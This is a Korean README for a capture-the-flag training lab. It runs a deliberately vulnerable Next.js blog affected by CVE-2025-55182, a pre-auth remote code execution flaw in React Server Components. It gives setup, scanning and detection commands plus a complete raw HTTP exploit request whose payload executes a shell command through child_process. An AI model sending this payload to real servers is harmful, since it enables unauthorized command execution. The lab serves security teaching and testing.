
CVE-2025-55182 (React 서버 컴포넌트의 RCE 취약점)을 악용하는 취약한 Next.js 블로그, 탐지 스크립트, 수동 익스플로잇 페이로드를 포함한 실습형 보안 교육용 CTF 실습 환경
이 저장소는 Next.js와 React Server Components를 사용하는 사이버보안 블로그 기반의 취약한 CTF(Capture The Flag) 환경을 제공합니다.
CVE-2025-55182 : React Server Components 버전 19.0.0, 19.1.0, 19.1.1, 19.2.0에서 인증 전 원격 코드 실행(RCE) 취약점. 취약한 코드는 Server Function 엔드포인트로 향하는 HTTP 요청 페이로드를 안전하지 않게 역직렬화합니다.
CVE-2025-66478 : App Router를 사용하는 Next.js 애플리케이션에 영향.
이 챌린지는 다음과 같은 사이버보안 블로그를 제공합니다:
블로그는 취약한 버전의 React와 Next.js를 사용하여 React2Shell 취약점을 악용할 수 있습니다.
| Package | Version |
|---|
next | 16.0.6 |
react | 19.2.0 |
react-dom | 19.2.0 |
# Construire l'image
docker build -t react2shell-poc .
# Lancer le conteneur
docker run --rm -p 127.0.0.1:3000:3000 react2shell-poc
npm install
npm run build
npm run start
그런 다음 http://127.0.0.1:3000에 접속하세요.
git clone https://github.com/assetnote/react2shell-scanner && cd react2shell-scanner
virtualenv venv && source venv/bin/activate && pip install -r requirements.txt
python3 scanner.py -u http://127.0.0.1:3000
nuclei -t ./nuclei-template/CVE-2025-55182.yaml -u http://127.0.0.1:3000
Python 익스플로잇은 React2Shell/ 폴더를 참조하세요.
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
응답에는 x-action-redirect 헤더에 id 명령의 결과가 포함됩니다.
simple-nextjs-blog 템플릿과 CVE-2025-55182 취약 환경을 기반으로 한 맞춤형 CTF 챌린지.